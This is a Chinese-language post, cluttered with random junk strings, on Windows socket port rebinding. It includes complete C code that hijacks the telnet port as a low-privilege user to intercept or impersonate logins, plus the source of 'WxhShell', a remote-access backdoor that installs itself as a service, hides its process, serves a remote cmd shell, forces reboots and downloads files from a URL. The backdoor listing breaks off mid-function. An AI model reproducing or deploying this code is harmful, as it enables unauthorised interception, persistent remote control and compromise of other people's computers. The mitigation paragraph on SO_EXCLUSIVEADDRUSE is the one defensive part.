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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !2dA8b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A?{ X5`y /|{Yot
e saddr.sin_family = AF_INET; y=!"++T]B< p1B~:9y9X saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]<z4p'F1% [da,SM bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1( V>8}zn B7"/K]dR: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?`+46U% P.bBu 这意味着什么?意味着可以进行如下的攻击: cnm&oC 6 :Mz$~o< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S1Q2<<[ \79KU 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) voRr9E*n cP[3p: 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *2O4 *Q1 F.P4c:GD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 !;'.mMO&% r&AX 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =2HR+ &
[)1LRt_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e|:#Y^ N>z<v\` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b2;+a( k/+-Tq; #include u|m>h(O #include A^+G
w\ #include fFD:E} >5 #include ?haN ;n6' DWORD WINAPI ClientThread(LPVOID lpParam); Y40Hcc+Fx int main() %x_c2 { %GUu{n<6 WORD wVersionRequested; \VmqK&9 DWORD ret; 8D[8(5 WSADATA wsaData; sW)C6 # BOOL val; j-2`yR SOCKADDR_IN saddr; :O:Rfmr~ SOCKADDR_IN scaddr; /s.O3x._' int err; 4^1B'>I SOCKET s; @fR^":.h SOCKET sc; i3I'n* int caddsize; XGE:ZVpW HANDLE mt; tqLn A DWORD tid; j?Ki<MD1 wVersionRequested = MAKEWORD( 2, 2 ); XCU.tWR: err = WSAStartup( wVersionRequested, &wsaData ); d%l_:M3 if ( err != 0 ) { nenYP0 printf("error!WSAStartup failed!\n"); uSSnr#i^j return -1; iTTe`Zr5y } '0_Z:\ laU saddr.sin_family = AF_INET; M/GQQG; olPV"<;+pO //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nOxCni~T a' "4:(L saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )/FB73! saddr.sin_port = htons(23); $
JI`& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JlAUie8 { ?qr-t+ printf("error!socket failed!\n"); XWvT(+J return -1; c-z2[a8 } -L>\ 58` val = TRUE; WN9< //SO_REUSEADDR选项就是可以实现端口重绑定的 G5W6P7-<X if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) UeB8|z { }5gAxR, printf("error!setsockopt failed!\n"); ZbTU1Y/'
return -1; *z4n2"<l } )'8DK$. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,)mqd2)+" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =E Cw' //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `6V-a_8;[ )|`eCzCB if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q+|8|V}w { )&di
c6r ret=GetLastError(); zI/)#^ SQ printf("error!bind failed!\n"); 0wZ_;FN*- return -1; !xoN%5! } dzDh V{ listen(s,2); I}/o`oc while(1) Gv[W)+3f { 'Im7^!-d caddsize = sizeof(scaddr); PbOLN$hP //接受连接请求 9`}Wp2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "'H$YhY] if(sc!=INVALID_SOCKET) Ju$= Tn { `Z]Tp1U mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FUzIuz 6 if(mt==NULL) ^_b+o { ,j
wU\xo`C printf("Thread Creat Failed!\n"); [ P\3XSR break; EqzS={Olj } ]T\K-;i } $2E n^ CloseHandle(mt); KZO! } ~Nf01,F closesocket(s); <mlQn?u WSACleanup(); ]bO{001y, return 0; 9_'xq.uP } b u%p,u! DWORD WINAPI ClientThread(LPVOID lpParam) QC0^G,9. { "-xm+7 SOCKET ss = (SOCKET)lpParam; r{qM!(T SOCKET sc; DZ~w8v7V unsigned char buf[4096]; BMU}NZA SOCKADDR_IN saddr; _3<J!$]&p long num; lbrob' '+ DWORD val; :@w
;no>=* DWORD ret; 21GjRPs\ //如果是隐藏端口应用的话,可以在此处加一些判断 0-"ps ]X //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 G1M}g8 ]h saddr.sin_family = AF_INET; ~k+"!'1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2%0zPflT saddr.sin_port = htons(23); v :]y#y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /6}4<~~4TA { ?RGL0`Lg printf("error!socket failed!\n"); GutH}Kz"& return -1; :~loy' } *v3/8enf val = 100; i' J.c4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kRNr`yfN { $wU.GM$t~ ret = GetLastError(); |RwpIe8~ return -1; p,}-8#K[ } 5%kt;ODS if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zsA6(?)u { %cG6=`vR ret = GetLastError(); `),7*gn*) return -1; N;tUrdgQ } [P)'LY6F
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =-jkp { |Q:$G!/ printf("error!socket connect failed!\n"); %j=dKd> closesocket(sc); d.tjLeY closesocket(ss); p?X.I]=vRv return -1; i;xH } BZEY^G while(1) Woa5Ov!n0 { gT-'#K2qT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bs
U$mtW //如果是嗅探内容的话,可以再此处进行内容分析和记录 1C+Y|p?KA //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |J2_2a/" num = recv(ss,buf,4096,0); qC?J`
if(num>0) ]O',Ei^ send(sc,buf,num,0); QU16X else if(num==0) s<'^
@Y break; K"Vv= num = recv(sc,buf,4096,0); Z_F:H@-& if(num>0) .:Bjs* send(ss,buf,num,0); wl2rw93 else if(num==0) /A\'_a| break; I<|)uK7 } (:2:_FL closesocket(ss); VaQ>g*(I closesocket(sc); ;%2/ return 0 ; m8$6FN } EiWy`H; @/H1}pM~ Je2o('MA ========================================================== 0z/tceW'F is?`tre\P 下边附上一个代码,,WXhSHELL 85Q2c KL#F5\ E ========================================================== 53P\OG^G` Q6Y1Jr">X #include "stdafx.h" 2<>n8 K _1hc^j #include <stdio.h> %Fq"4% #include <string.h> -[i9a:eRM #include <windows.h> SSycQ4[{o #include <winsock2.h> }
IFZ$Y #include <winsvc.h> xy46].x- #include <urlmon.h> wx -NUTRim 67%eAS #pragma comment (lib, "Ws2_32.lib") Mcc774'*9 #pragma comment (lib, "urlmon.lib") jVL<7@_* ^"v~hjM# #define MAX_USER 100 // 最大客户端连接数 "RuJlp #define BUF_SOCK 200 // sock buffer i;lzFu)G #define KEY_BUFF 255 // 输入 buffer |vz<FR6 _IOeO #define REBOOT 0 // 重启 &+6XdhX #define SHUTDOWN 1 // 关机 t&:'Ag.G 6@g2v^ % #define DEF_PORT 5000 // 监听端口 %d($\R-*O pez*kU+9 #define REG_LEN 16 // 注册表键长度 >T;"bcb #define SVC_LEN 80 // NT服务名长度 ]Gow ['R2$z // 从dll定义API PKT0Drv}c7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?H eC+=/Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SPOg' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~!meO;|W typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pA3j@w Fzh%#z0
// wxhshell配置信息 9vCn^G%B struct WSCFG { {=IK(H int ws_port; // 监听端口 >`n0{:.1za char ws_passstr[REG_LEN]; // 口令 ##Z:/SU int ws_autoins; // 安装标记, 1=yes 0=no R"e~0WO char ws_regname[REG_LEN]; // 注册表键名 SEXeK2v char ws_svcname[REG_LEN]; // 服务名 a1M-F3 char ws_svcdisp[SVC_LEN]; // 服务显示名 yk!,{Q?<$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 !vfjo[v
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ySP1WK int ws_downexe; // 下载执行标记, 1=yes 0=no uljd)kLy4O char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Gv>,Ad
ka char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sd'
uXX@ _7~O>. }; :-.R*W |!8[Vg^Wh // default Wxhshell configuration v3Tr6[9 struct WSCFG wscfg={DEF_PORT, f3lFpS "xuhuanlingzhe", <i^Bq=E<rJ 1, N\=pH{ "Wxhshell", 5!}xl9D "Wxhshell", :y !e6 "WxhShell Service", 8wwqV{O7 "Wrsky Windows CmdShell Service", Y fk[mo "Please Input Your Password: ", !cE>L~cza 1, kLR4?tX! " http://www.wrsky.com/wxhshell.exe", m46Q%hwV "Wxhshell.exe" sI/Hcm }; \
lP
c,8) oc?,8I[P5 // 消息定义模块 Ge@./SGT char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d{hbgUSj char *msg_ws_prompt="\n\r? for help\n\r#>"; D#x D-c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; -Vn9YeH+ char *msg_ws_ext="\n\rExit."; c?CwxI_b8 char *msg_ws_end="\n\rQuit."; Mr<2I char *msg_ws_boot="\n\rReboot..."; oaHg6PT! char *msg_ws_poff="\n\rShutdown..."; @Rj&9/\L char *msg_ws_down="\n\rSave to "; =DvFY]9{ dl'pl char *msg_ws_err="\n\rErr!"; e{:P!r
aM char *msg_ws_ok="\n\rOK!"; d,iW#, 2al%J% char ExeFile[MAX_PATH]; !Y!Cv % int nUser = 0; @JT9utct HANDLE handles[MAX_USER]; 5(1Zj`>' int OsIsNt; Ul^/Dh Z*.fSmT8) SERVICE_STATUS serviceStatus; vvv~n]S6 SERVICE_STATUS_HANDLE hServiceStatusHandle; T2Z;)e$m_ ]G1{@r) // 函数声明 apF!@O^}y int Install(void); AW&HWc~A int Uninstall(void); I7 pxi$8f int DownloadFile(char *sURL, SOCKET wsh); bsC~
2S\o int Boot(int flag); m'KY;C void HideProc(void); y1,L0v$=} int GetOsVer(void); @y;N
u int Wxhshell(SOCKET wsl); l]WVgu void TalkWithClient(void *cs); #w*1 ! int CmdShell(SOCKET sock);
t@#sKdv int StartFromService(void); %O%+TR7Z int StartWxhshell(LPSTR lpCmdLine); ED"@!M`1 <>A:Oi3^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a k@0M[d VOID WINAPI NTServiceHandler( DWORD fdwControl ); @j`_)Y\ g[@Kd // 数据结构和表定义 2JYp.CJv SERVICE_TABLE_ENTRY DispatchTable[] = 4wX{ N { C<r7d [ {wscfg.ws_svcname, NTServiceMain}, @ z#;O2 {NULL, NULL} `i8osX[ &p }; a~Sf~ka 8*6vX! Z| // 自我安装 sVZb[|zSri int Install(void) NO P~?p { 1HskY| X char svExeFile[MAX_PATH]; w8wF;:> HKEY key; ?1?^>M strcpy(svExeFile,ExeFile); PYkcGtVa_ -i V&-oP // 如果是win9x系统,修改注册表设为自启动 }el.qZ if(!OsIsNt) { e7t).s)b{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +[UFf3(ON RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wA+J49 RegCloseKey(key); ^uW](2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _YWw7q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H?sl_3-# RegCloseKey(key); l\-1W2 return 0; 3uwu}aw } 1Z'cL~9 } 9hHQWv7TgK } FviLlly6 else { -TU7GCb= }IC$Du# // 如果是NT以上系统,安装为系统服务 r[vMiVb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A-~#ydv if (schSCManager!=0) :&mYz(1q { iJ~5A'?6 SC_HANDLE schService = CreateService [3nhf<O ( S5@/;T schSCManager, fa=#S wscfg.ws_svcname, SDcxro|8i wscfg.ws_svcdisp, p.n]y=o.) SERVICE_ALL_ACCESS, F:%= u
= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j2cLb SERVICE_AUTO_START, K7FuMB SERVICE_ERROR_NORMAL, },2-\-1 svExeFile, "FT5]h NULL, W8,XSUl NULL, O_nk8 NULL, @/lLLGrZ" NULL, mn{8"@Z NULL n&iWYECz ); P!,\V\TY] if (schService!=0) *DLv$/(0 { p>Ju)o CloseServiceHandle(schService); '&W`x5`t CloseServiceHandle(schSCManager); <]b}R;9v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j?jEWreq]~ strcat(svExeFile,wscfg.ws_svcname); Dj;h!8t. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >MUwT$szs RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V`TXn[7 RegCloseKey(key); /R8>f return 0; RV.zxPw>> } 'd]9u9u } 4\pi<#X CloseServiceHandle(schSCManager); *ys@'Ai? } uTpKT7t } 79~,KFct &O#a==F!( return 1; yv9~ } n]}+ : UIv TC
S // 自我卸载 kI<C\*N int Uninstall(void) ^LfCLI9Z { ~2
T_)l? HKEY key; $N5VoK k)'hNk"x if(!OsIsNt) { :M`|*~V~$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q+x4Od3 RegDeleteValue(key,wscfg.ws_regname); 1(gb-u0 RegCloseKey(key); Y:FV+ SI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,cWO Ak RegDeleteValue(key,wscfg.ws_regname); Fla[YWS RegCloseKey(key); [@";\C_I return 0; N;F1Z-9 } -3qB,KT } +%>s\W+?] } PkLRQ} else { C(3yJzg>y i`gsT[JQRX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eE>3=1d]w if (schSCManager!=0) X@b$C~+ { \_!FOUPz( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E(4ti]'4 if (schService!=0) jHT 4I>\ { .hg<\-:_ if(DeleteService(schService)!=0) { H
#J"' CloseServiceHandle(schService); [])M2_ CloseServiceHandle(schSCManager); }yLdU|'W return 0; O*z x{a6 } 022YuqL<v CloseServiceHandle(schService); gu/eC } bS&'oWy*B CloseServiceHandle(schSCManager); N(dn"`8 } Fw+JhIVP } EQyRP.
dq u%V=Ze return 1; -]Z!_[MlDF } ,4NvD2Y ba%[! // 从指定url下载文件 L:`|lc=^ int DownloadFile(char *sURL, SOCKET wsh) 6[69|& { 394u']M HRESULT hr; A~ '2ki5$g char seps[]= "/"; `kwyF27v] char *token; B+jT|Y' char *file; ynw^nmM char myURL[MAX_PATH]; E,xCfS) char myFILE[MAX_PATH]; nOkX:5 zr&K0a{hc strcpy(myURL,sURL); L-Xd3RCD token=strtok(myURL,seps); Fz?ON1\ while(token!=NULL) 7_S+/2}U* { $P^=QN5Bb file=token; Xr:"8FT token=strtok(NULL,seps); N ]}Re$5 } [=Np.:Y% ( {m["d GetCurrentDirectory(MAX_PATH,myFILE); YJuaQxs strcat(myFILE, "\\"); K>RL strcat(myFILE, file); S"|D!}@- send(wsh,myFILE,strlen(myFILE),0); 0+/L?J3 send(wsh,"...",3,0); <z#r3J hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C0 .Xp if(hr==S_OK) c500:OSB return 0; To]WCFp6@ else B6 x5E return 1; {AO3o<-h |QAmN>7U } 8<^[xe zO2<Igb // 系统电源模块 %p/Qz|W int Boot(int flag) bsr { (^qcX;- HANDLE hToken; *7ap[YXZ\w TOKEN_PRIVILEGES tkp; 8ji!FZf ,G"?fQ7z R if(OsIsNt) { m]Z+u e OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >7vSN<w~m LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -hQ=0h~\B. tkp.PrivilegeCount = 1; 7vNS@[8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T(a*d7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O_-.@uo./( if(flag==REBOOT) { ) OZDq]mV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p J+>qy5 return 0; g[8VfIe } 5 f/[HO) else { :7W5R if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $]|_xG-6{ return 0; R
j(="+SPj } y|.wL=; } xW/JItF else { 5c{=/}Y if(flag==REBOOT) { XwX1i!'54 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +ywWQ|V return 0; ]K XknEaxl } d^ipf*aLC else { t^8#~o!% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RZOk.~[v return 0; ~>>o'H6 } tI.(+-q } g|)e3q{M bCd! ap+# return 1; WVy"MD } P/nXY x ~Se-#$ // win9x进程隐藏模块 4z#CkT void HideProc(void) ?B@hCd) { 9tl Fbu lDMYDy{< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i;6\tK"! if ( hKernel != NULL ) pRMM1&H { _[0Ugfz( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9nM {x? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "D3JdyO_S FreeLibrary(hKernel); S_ nTp) } [0/ ?(i| oS_'@u.5 return; 86R}G/>>e } %{zM> le9 OX8jCW // 获取操作系统版本 Q{>9Dg int GetOsVer(void) i;/qJKr { &+&^Hc OSVERSIONINFO winfo; C$ZY=UXz!T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >f`}CLsY GetVersionEx(&winfo); am:LLk-Lx if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (c(?s`; return 1; Kh$L~4l else Q=uwmg86 return 0; -{7:^K[)
} &hV;3"; `f6Qd2\ // 客户端句柄模块 `e`4[I int Wxhshell(SOCKET wsl) -z'@Mh|i6l { vaTXu* SOCKET wsh; M$! 0ikh struct sockaddr_in client; 1$".7}M4$ DWORD myID; qn+m lduU 35&&*$Jm while(nUser<MAX_USER) M{~eI { >V;<K?5B`W int nSize=sizeof(client); t{?_]2vl wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @M,KA {e if(wsh==INVALID_SOCKET) return 1; Rw$ @%o% [K"v)B' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^QYI`u` 4 if(handles[nUser]==0) U$Ew,v< closesocket(wsh); >D-$M_ else /f0_mi,bD nUser++; _fMooI)U1 } |d{(&s} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~PoGuj2wA K.X% Q,XD return 0; (\WePOy& } {/n$Y|TIQt i>!f|< // 关闭 socket R^PQ`$W 'R void CloseIt(SOCKET wsh) NiyAAw { \7og&j-h closesocket(wsh); J4S2vBe16 nUser--; 78 UT]<Q;K ExitThread(0); J~c]9t } <D&75C# Q{$2D& // 客户端请求句柄 (AwbZ n* void TalkWithClient(void *cs) *&5G+d2 { !w
C4ei` 8Oc*<^{# SOCKET wsh=(SOCKET)cs; F$+_Z~yt3; char pwd[SVC_LEN]; P!]DV$o char cmd[KEY_BUFF]; F"0tv$ char chr[1]; %mI`mpf int i,j; x6$P(eN j&44wuf while (nUser < MAX_USER) { B\<zU 9cj=CuE if(wscfg.ws_passstr) { 2V~Yb1P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %mxG;w$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]?<uf40Mm //ZeroMemory(pwd,KEY_BUFF); 34P?nW( i=0; [q(7Jv while(i<SVC_LEN) { $6Ty~.RP5H <m )@~s?D // 设置超时 :!r_dmJ fd_set FdRead; PDGh\Y[AK, struct timeval TimeOut; [9>1e FD_ZERO(&FdRead); d[O.UzQ FD_SET(wsh,&FdRead); =Wl
CE_ TimeOut.tv_sec=8; ;zh|*F> TimeOut.tv_usec=0; H:~LL0Md% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hPEK@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M
rVtxzH c\RDa|B, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v$,9l+p/ pwd =chr[0]; 5gEUE {S if(chr[0]==0xd || chr[0]==0xa) { !hJKI.XH pwd=0; sS+9ly{9J break; Y<kvJb&1* } v"bOv"!al i++; yWX:`*GV } ^M,Q<HL g4-HUc zk // 如果是非法用户,关闭 socket Yoaz|7LS if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "}ZD-O`! } 85H8`YwPh .e]!i(5I send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3S <5s} send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <M 7WWtmx ?=
ulfGrY while(1) { _A%z^&k(i SM@1<OCc ZeroMemory(cmd,KEY_BUFF); O(!wDnhc ,AM6E63 // 自动支持客户端 telnet标准 .}z&$:U9[ j=0; 5[;p<GqGN while(j<KEY_BUFF) { JEBx|U$'Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VT-&"Jn cmd[j]=chr[0]; KDCq::P< if(chr[0]==0xa || chr[0]==0xd) { ybB/sShGM cmd[j]=0; w#-rl@JQ4 break; NShA-G N5 } %,)[%>#{ j++; B8C"i%8V) } ZpWG +]I7) // 下载文件 j@ =n|cq if(strstr(cmd,"http://")) { '2#O{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); R%b,RH# if(DownloadFile(cmd,wsh)) Z*` CK^^~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); W\X51DrEx else '8dgYj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]@Zj-n8 } B"8^5#t4s else { %>pglI *<BasP switch(cmd[0]) { X hTp'2,] ~>+}(%<, // 帮助 0y6nMI case '?': { 2MJ0[9 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $~U_VQIA^ break; yyBfLPXZ } 18|H // 安装 oIf-s[uH case 'i': { <5q:mG88 if(Install()) X $cW!a send(wsh,msg_ws_err,strlen(msg_ws_err),0); wUl}x)xo else 9jJ&QACn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DJ=miJI' break; HO$s&}t } 191O(H // 卸载 ;m7$U case 'r': { ~|fd=E% if(Uninstall()) g.&&=T send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0M:.Jhp else jh}[7M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8[xb+_ break; 8m-ryr) } GHH1jJ_[7 // 显示 wxhshell 所在路径 lE%0ifu case 'p': { 22(0Jb\_ char svExeFile[MAX_PATH]; \{abyi; strcpy(svExeFile,"\n\r"); g+)T\_#u strcat(svExeFile,ExeFile); 54tpR6%3p send(wsh,svExeFile,strlen(svExeFile),0); N}zQ)]xz+r break; lq+FH&
} '7wWdq // 重启 ,AACE7%l case 'b': { JCS$Tm6y<_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vb0hlJb if(Boot(REBOOT)) OTalR;:]r send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Cpvh}1# else { z\Qg 3BS closesocket(wsh); He&dVP ExitThread(0); ]<TgBo| } K4A=lD+ break; !QP~#a% } o;-)84Aa // 关机 t'FY*|xk case 'd': { /__we[$E send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [T !#s if(Boot(SHUTDOWN)) Q%q_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); a?&oOQd-iP else { jC <<S closesocket(wsh); glPOW ExitThread(0); 0xZq?9a } mu|#(u break; G#n27y nh } Bd)Qz(>rw // 获取shell W=]QTx,J case 's': { G^j/8e CmdShell(wsh); bL{wCo-Y closesocket(wsh); -F@Rpfrj_# ExitThread(0); YVqhX]/ break; }B}?q V } Hg]Q.SeJ( // 退出 p@>_1A}qh_ case 'x': { R\1#)3e0 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H4Pj 3' CloseIt(wsh); T%?<3/Ev! break; |Pwb7:a3 } @dD70T // 离开 'Pr(7^ case 'q': { _T8#36iR send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gl`Yyw@84 closesocket(wsh); h7kGs^pP WSACleanup(); Y <Ta2H exit(1); WX]kez{<uP break; Yb6(KT } M|6
W<y } gx@b|rj; } Y }Rx`%X q_']i6 // 提示信息 .6f
%"E, if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [6)`wi } l+y/ Mq^QB } q-X)tH_+w@ |OhNQoTY return; Xn9TQ"[4 } )r5QOa/ ]X;Ty\UD& // shell模块句柄 _U%!&_m6 int CmdShell(SOCKET sock) ?VO*s-G:J { M*}C.E! STARTUPINFO si; pZ%/;sxYa ZeroMemory(&si,sizeof(si)); asmMl9)(` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T6%*t#8r si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D=o9+5Slw PROCESS_INFORMATION ProcessInfo; C3hnX2"; char cmdline[]="cmd"; ,]42v? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 91}QuYv/_ return 0; ! E#XmYhX= } bu,Z' VQ{}S $jQ // 自身启动模式 F+v? 2|03 int StartFromService(void) d]$z&E { |:L<Ko typedef struct _:?)2 NV { K{t7_i#tv DWORD ExitStatus; v/}M_E DWORD PebBaseAddress; wQlK[F]!> DWORD AffinityMask; JrQ*.lJj DWORD BasePriority; G*3O5m ULONG UniqueProcessId; ?)'j;1_=E3 ULONG InheritedFromUniqueProcessId; #ZeZs 31 } PROCESS_BASIC_INFORMATION; Uw)?u$+
P o5@
